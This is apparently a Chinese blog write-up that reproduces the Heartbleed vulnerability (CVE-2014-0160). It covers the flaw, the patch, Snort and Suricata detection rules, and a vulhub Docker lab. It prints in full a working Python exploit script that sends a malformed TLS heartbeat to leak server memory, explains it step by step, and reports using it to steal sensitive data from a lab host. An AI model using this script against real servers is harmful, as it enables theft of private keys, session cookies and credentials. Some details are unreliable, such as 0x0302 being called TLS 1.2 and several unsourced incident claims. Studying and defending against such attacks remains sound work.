心脏滴血漏洞（CVE-2014-0160）漏洞复现

发布于：2025-04-11 ⋅ 阅读:(34) ⋅ 点赞:(0)

心脏滴血漏洞（CVE-2014-0160）深度解析

1. 漏洞背景与发现

发现时间与团队
2014年4月，漏洞由芬兰安全公司Codenomicon和谷歌安全研究员Neel Mehta独立发现。双方原本计划协同公布，但因时间差导致Codenomicon提前公开，引发全球紧急响应。

漏洞代号：命名“Heartbleed”源于漏洞影响TLS心跳协议（Heartbeat）且导致数据泄露（Bleed）。

OpenSSL的角色
OpenSSL是开源密码学工具库，支持SSL/TLS协议，广泛用于Web服务器（如Apache、Nginx）、邮件服务器、VPN等。2014年，全球约66%的互联网服务器依赖OpenSSL，其中约17%运行存在漏洞的版本（1.0.1至1.0.1f）。

漏洞披露时间线

  1. 2014-04-01：Codenomicon内部验证漏洞。
  2. 2014-04-07：OpenSSL团队收到漏洞报告，秘密修复。
  3. 2014-04-08：CVE-2014-0160分配，补丁提交至GitHub。
  4. 2014-04-09：漏洞公之于众，全球IT团队进入紧急修复状态。

 2.技术原理：从协议到代码缺陷

TLS心跳协议机制

设计目的
心跳协议用于维持长连接，防止因网络空闲导致连接中断。客户端发送心跳请求（HeartbeatRequest），服务器返回相同载荷的响应（HeartbeatResponse）。

协议格式
每个心跳包包含以下字段：
+-------------+--------+--------------+ 
| 类型 (1字节) | 长度 (2字节) | 载荷 (变长) | 
+-------------+--------+--------------+ 

  • 类型：0x01（请求）或0x02（响应）。
  • 长度：客户端声明的载荷长度（最大允许65535字节）。
  • 载荷：实际数据（如"test"）。

漏洞触发流程

  1. 攻击者构造恶意心跳包
  • 声明长度字段为0x4000（即16384字节），但实际载荷仅1字节（如"A"）。

数据包示例（十六进制）：
18 03 02 00 03 01 40 00 41 
↑  ↑  ↑  ↑  ↑  ↑  ↑  ↑  ↑ 
|  |  |  |  |  |  |  | 实际载荷（1字节） 
|  |  |  |  |  |  | 声明长度（16384） 
|  |  |  |  |  心跳请求类型 
|  |  |  TLS版本（TLS 1.2） 
心跳消息类型（0x18）

  1. 服务器处理漏洞代码
    OpenSSL的dtls1_process_heartbeat()函数存在逻辑缺陷：
    /* 漏洞代码（OpenSSL 1.0.1f） */
    unsigned char *buffer = OPENSSL_malloc(1 + 2 + payload + padding);
    unsigned char *bp = buffer;
    // 写入类型和长度字段
    *bp++ = TLS1_HB_RESPONSE;
    s2n(payload, bp);  // 将payload长度写入2字节
    // 关键漏洞点：未检查实际载荷长度是否匹配声明长度！
    memcpy(bp, pl, payload); // pl指向客户端提供的载荷
  • 问题：payload值由客户端控制，代码未验证实际载荷长度是否等于payload。
  • 后果：服务器从内存中读取payload长度的数据（包括客户端载荷后的未初始化内存），并返回给攻击者。
  1. 内存泄露示例
  • 假设服务器收到恶意请求时，内存布局如下：
    [客户端载荷"A"][未初始化内存][SSL私钥"PRIVATE_KEY"][会话Cookie"SESSION=123"...]

服务器将复制从"A"起始的16384字节，包括后续敏感数据。

3. 漏洞影响：数据泄露的灾难性后果

可泄露的数据类型

  1. SSL私钥
  • 攻击者获取私钥后，可解密历史及未来的加密通信（如HTTPS流量），实施中间人攻击。
  • 案例：研究人员通过漏洞成功提取Nginx服务器的RSA私钥。
  1. 用户会话信息
  • 会话Cookie（如PHPSESSID）可导致账户劫持。
  • 案例：某社交平台用户Cookie泄露，攻击者无需密码即可登录他人账户。
  1. 内存中的敏感数据
  • 数据库凭据、API密钥、用户密码（明文或哈希）、信用卡信息等。

攻击特点

  1. 无痕攻击：不触发日志记录，难以追溯。
  2. 高效性：单次攻击可获取最多64KB内存数据，多次攻击可覆盖更大范围。
  3. 广泛性：影响所有使用OpenSSL的服务，包括Web、邮件（SMTP/IMAP）、VPN（OpenVPN）、即时通讯（XMPP）等。

统计影响

全球范围：

受漏洞影响的服务器约50万台（2014年数据）。

包括Yahoo、Flickr、StackExchange等知名服务。

行业分布：

金融（23%）、政府（18%）、医疗（12%）等高危行业遭受重创。

4. 漏洞利用：从概念验证到实际攻击

概念验证（PoC）

  • 攻击工具：如heartbleed.py脚本（用户提供的代码）。
  • 关键步骤：
  1. 建立TLS连接，完成握手。
  2. 发送恶意心跳请求。
  3. 解析服务器响应，提取泄露数据。
  • 泄露数据示例：
    0000: 02 40 00 0A 4B 48 B7 42  50 52 49 56 41 54 45 20  .@..KH.BPRIVATE 
    0010: 4B 45 59 2D 2D 2D 2D 2D  42 45 47 49 4E 20 50 52  KEY-----BEGIN PR 
    0020: 49 56 41 54 45 20 4B 45  59 2D 2D 2D 2D 2D 0A 4D  IVATE KEY-----.M 
    ...（私钥内容）

实际攻击案例

  1. 加拿大税务局泄露
  1. 攻击者利用漏洞窃取900名用户的社保号（SIN），迫使政府关闭电子报税系统。
  1. 某医疗平台数据泄露
  1. 泄露患者病历数据，导致医院面临GDPR罚款。

5. 修复与缓解措施

官方补丁分析修复代码：OpenSSL 1.0.1g及以上版本添加了长度验证：
if (1 + 2 + payload + 16 > s->s3->rrec.length) {
    // 丢弃非法请求
    OPENSSL_free(buffer);
    return 0;
}

逻辑：检查客户端声明的payload是否超过实际接收的数据包长度。

管理员操作指南

  1. 升级OpenSSL
    # Debian/Ubuntu
    sudo apt-get update && sudo apt-get upgrade openssl libssl-dev

    # CentOS/RHEL
    sudo yum update openssl
  2. 重启服务
    sudo service apache2 restart    # Apache
    sudo service nginx restart      # Nginx
    sudo systemctl restart sshd     # OpenSSH
  3. 更换SSL证书
  • 生成新私钥：
    openssl genrsa -out new.key 2048
  1. 重新申请证书，吊销旧证书。
  1. 监控与审计
  • 使用ssldump或Wireshark检测异常心跳请求。
  • 部署IDS规则（如Snort）：
    alert tcp any any -> any 443 (msg:"Heartbleed Exploit Attempt";
    content:"|18 03 02 00 03 01|"; depth:6; sid:1000001;)

用户防护建议

  • 修改密码：所有在漏洞期间登录的账户需立即更改密码。
  • 检查服务状态：通过工具（如Qualys SSL Labs）确认网站是否修复。

6. 漏洞的长期影响与启示

开源软件安全危机

  • 事件反思：
  • OpenSSL作为互联网核心基础设施，维护团队仅2名全职开发者，年预算不足百万美元。
  • 促使成立Core Infrastructure Initiative（由Linux基金会牵头，微软、谷歌等资助），支持关键开源项目。

行业变革

  • 自动更新机制普及：推动系统自动安装安全补丁（如Ubuntu的unattended-upgrades）。
  • TLS 1.3的改进：移除不安全特性（如心跳协议改为可选），强化加密算法。

攻击演变

  • 衍生漏洞：如2014年“贵宾犬攻击”（POODLE，CVE-2014-3566），利用SSLv3的降级漏洞。
  • 内存安全语言兴起：Rust、Go等语言因避免缓冲区溢出漏洞，逐渐替代C/C++。

7. 心脏滴血漏洞的“遗产”

  • 年度十大安全事件：被《Wired》《MIT Tech Review》等列为2014年最具破坏性漏洞。
  • 文化符号：漏洞Logo（破碎的心形）成为网络安全警示标志。
  • 法律影响：多国修订网络安全法，强制要求企业及时修复高危漏洞。

总结

心脏滴血漏洞不仅是技术层面的缓冲区溢出问题，更是暴露了互联网基础设施的脆弱性和开源维护的资源匮乏。其影响深远，推动了从代码审计到政策制定的全方位变革。十年后的今天，该漏洞仍是网络安全教育的经典案例，提醒开发者、企业和用户：安全不是一次性的修复，而是持续的斗争。

靶场环境搭建：

ubuntu 16.04+docker使用docker compose脚本自动化搭建

version: '2'

services:

 nginx:

   image: vulhub/openssl:1.0.1c-with-nginx

   volumes:

    - ./www:/var/www/html

   ports:

    - "8080:80"

    - "8443:443"

vim heartbleed.yml

docker compose -f heartbleed.yml up -d

搭建成功

复现过程：

编写python脚本exp实现漏洞利用

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)

# The author disclaims copyright to this source code.

import sys

import struct

import socket

import time

import select

import binascii

import re

from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):

    return binascii.unhexlify(x.replace(' ', '').replace('\n', ''))

hello = h2bin('''

16 03 02 00 dc 01 00 00 d8 03 02 53

43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf

bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00

00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88

00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c

c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09

c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44

c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c

c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11

00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04

03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19

00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08

00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13

00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00

00 0f 00 01 01                                 

''')

hb = h2bin('''

18 03 02 00 03

01 40 00

''')

def hexdump(s: bytes):

    for b in range(0, len(s), 16):

        lin = [c for c in s[b : b + 16]]

        hxdat = ' '.join('%02X' % c for c in lin)

        pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin)

        print('  %04x: %-48s %s' % (b, hxdat, pdat))

   

    print("")

def recvall(s, length, timeout=5):

    endtime = time.time() + timeout

    rdata = b''

    remain = length

    while remain > 0:

        rtime = endtime - time.time()

        if rtime < 0:

            return None

        r, w, e = select.select([s], [], [], 5)

        if s in r:

            data = s.recv(remain)

            # EOF?

            if not data:

                return None

            rdata += data

            remain -= len(data)

    return rdata

       

def recvmsg(s):

    hdr = recvall(s, 5)

    if hdr is None:

        print('Unexpected EOF receiving record header - server closed connection')

        return None, None, None

    typ, ver, ln = struct.unpack('>BHH', hdr)

    pay = recvall(s, ln, 10)

    if pay is None:

        print('Unexpected EOF receiving record payload - server closed connection')

        return None, None, None

    print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))

    return typ, ver, pay

def hit_hb(s):

    s.send(hb)

    while True:

        typ, ver, pay = recvmsg(s)

        if typ is None:

            print('No heartbeat response received, server likely not vulnerable')

            return False

        if typ == 24:

            print('Received heartbeat response:')

            hexdump(pay)

            if len(pay) > 3:

                print('WARNING: server returned more data than it should - server is vulnerable!')

            else:

                print('Server processed malformed heartbeat, but did not return any extra data.')

            return True

        if typ == 21:

            print('Received alert:')

            hexdump(pay)

            print('Server returned error, likely not vulnerable')

            return False

def main():

    opts, args = options.parse_args()

    if len(args) < 1:

        options.print_help()

        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    print('Connecting...')

    sys.stdout.flush()

    s.connect((args[0], opts.port))

    print('Sending Client Hello...')

    sys.stdout.flush()

    s.send(hello)

    print('Waiting for Server Hello...')

    sys.stdout.flush()

    while True:

        typ, ver, pay = recvmsg(s)

        if typ == None:

            print('Server closed connection without sending Server Hello.')

            return

        # Look for server hello done message.

        if typ == 22 and pay[0] == 0x0E:

            break

    print('Sending heartbeat request...')

    sys.stdout.flush()

    s.send(hb)

    hit_hb(s)

if __name__ == '__main__':

    main()

一、脚本核心功能

该脚本用于检测目标服务器是否受心脏滴血漏洞影响，通过构造异常的TLS心跳请求（Heartbeat Request），触发服务器返回内存中的敏感数据。其核心功能分为以下阶段：

  1. 建立TLS连接：发送合法的Client Hello完成握手。
  2. 发送恶意心跳请求：构造长度字段异常的请求包。
  3. 检测响应：分析服务器返回的数据是否包含额外内存内容。

二、代码结构与关键函数解析

1. 全局变量与工具函数

h2bin(x)
将十六进制字符串转换为二进制数据，用于构造协议报文。
def h2bin(x):
    return binascii.unhexlify(x.replace(' ', '').replace('\n', ''))

输入示例：'18 03 02 00 03' → 转换为二进制\x18\x03\x02\x00\x03。

hello
预定义的Client Hello消息，用于TLS握手。内容为标准的TLS 1.2 Client Hello报文，包含支持的加密套件列表。

作用：与服务器协商加密参数，建立安全连接。

hb
恶意心跳请求报文，关键字段如下：
hb = h2bin('''
18 03 02 00 03   # TLS记录头：类型0x18（心跳），版本0x0302（TLS 1.2），长度0x0003
01 40 00          # 载荷：类型0x01（请求），声明长度0x4000（16384字节）
''')

漏洞触发点：实际载荷长度仅1字节（0x01），但声明长度为16384字节，诱使服务器返回内存数据。

2. 网络通信函数

hexdump(s: bytes)
将二进制数据按十六进制和ASCII格式输出，用于分析泄露的内存内容。
0000: 01 40 00 12 34 AB ... (示例输出)

recvall(s, length, timeout)
接收指定长度的数据，处理超时与连接中断。

实现逻辑：循环读取直到满足长度或超时，确保完整接收数据包。

recvmsg(s)
解析TLS记录层协议头（5字节），提取类型、版本和负载长度，并调用recvall获取完整负载。
typ, ver, ln = struct.unpack('>BHH', hdr)  # 大端格式解析：1字节类型，2字节版本，2字节长度

3. 漏洞检测逻辑

hit_hb(s)
发送恶意心跳包并处理响应：

s.send(hb)：发送构造的恶意心跳请求。

循环接收消息：

类型24（心跳响应）：输出数据，若长度超过3字节（1字节类型+2字节长度），判定漏洞存在。

类型21（警报）：服务器拒绝请求，判定无漏洞。

三、攻击流程详解

1. 建立TCP连接

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((args[0], opts.port))

连接到目标服务器的指定端口（默认443）。

2. TLS握手

发送Client Hello
s.send(hello)  # 发送预定义的Client Hello报文

包含支持的加密套件（如TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384），扩展列表（如SNI）。

等待Server Hello Done
while True:
    typ, ver, pay = recvmsg(s)
    if typ == 22 and pay[0] == 0x0E:  # Server Hello Done类型为0x0E
        break

接收服务器响应，直到收到Server Hello Done（类型22，负载首字节0x0E）。

3. 发送恶意心跳请求

构造攻击包
报文结构如下：
TLS记录层：
 类型: 0x18（心跳）
 版本: 0x0302（TLS 1.2）
 长度: 0x0003（后续3字节）
心跳载荷：
 类型: 0x01（请求）
 声明长度: 0x4000（16384字节）
 实际载荷: 0x00（仅1字节）

关键点：声明长度（16384）远大于实际载荷（1字节）。

4. 检测响应

  • 正常响应：服务器返回长度匹配的心跳响应（3字节：类型+长度）。
  • 漏洞存在：服务器返回长度超过3字节的数据，包含内存泄露内容。
  • 漏洞不存在：服务器返回警报（如handshake_failure）或关闭连接。

四、漏洞利用的技术细节

1. 内存泄露机制

  • 缓冲区过读（Buffer Over-read）
    OpenSSL未验证声明长度与实际载荷是否匹配，导致memcpy从内存中读取超出实际数据范围的内容。
  • 示例：若实际载荷为1字节，声明长度16384，则服务器从内存中复制16384字节返回。

2. 数据泄露范围

  • 敏感数据可能包括：
  • SSL私钥：存储在进程内存中的私钥片段。
  • 会话Cookie：如PHPSESSID=abcd1234，用于劫持用户会话。
  • 未初始化的内存：可能包含其他进程的残留数据。

3. 攻击优化

  • 多次请求：通过重复发送心跳请求，逐步获取更多内存片段。
  • 偏移调整：修改载荷内容，尝试定位特定内存区域（如私钥存储位置）。

五、脚本的局限性

  1. 依赖TLS版本：仅支持TLS 1.2，若服务器使用TLS 1.3需修改版本号。
  2. Python版本兼容性：代码基于Python 2，需调整语法（如print、bytes处理）以适配Python 3。
  3. 隐蔽性不足：连续发送心跳包易被IDS检测（如Snort规则）。
  4. 数据解析简化：仅检查返回长度，未自动提取私钥或Cookie。

六、防御与检测建议

1. 服务端修复

升级OpenSSL：版本1.0.1g及以上已修复。

替换证书：旧私钥可能已泄露，需重新生成并吊销。

2. 网络监控

检测异常心跳请求：
Wireshark过滤器：tls.record.content_type == 24 && tls.heartbeat.length > 100

部署IDS规则（示例Suricata规则）：
alert tls any any -> any any (msg:"Heartbleed Exploit Attempt";
  content:"|18 03 02 00 03 01 40 00|"; depth:8; sid:1000001; rev:1;)

3. 客户端防护禁用心跳扩展：通过浏览器或客户端配置禁用TLS心跳。

vim ssltest.py

python ssltest.py 192.168.23.154 -p 8443

漏洞利用成功，成功窃取到敏感信息

网站公告

今日签到

点亮在社区的每一天
去签到

热门文章

最新发布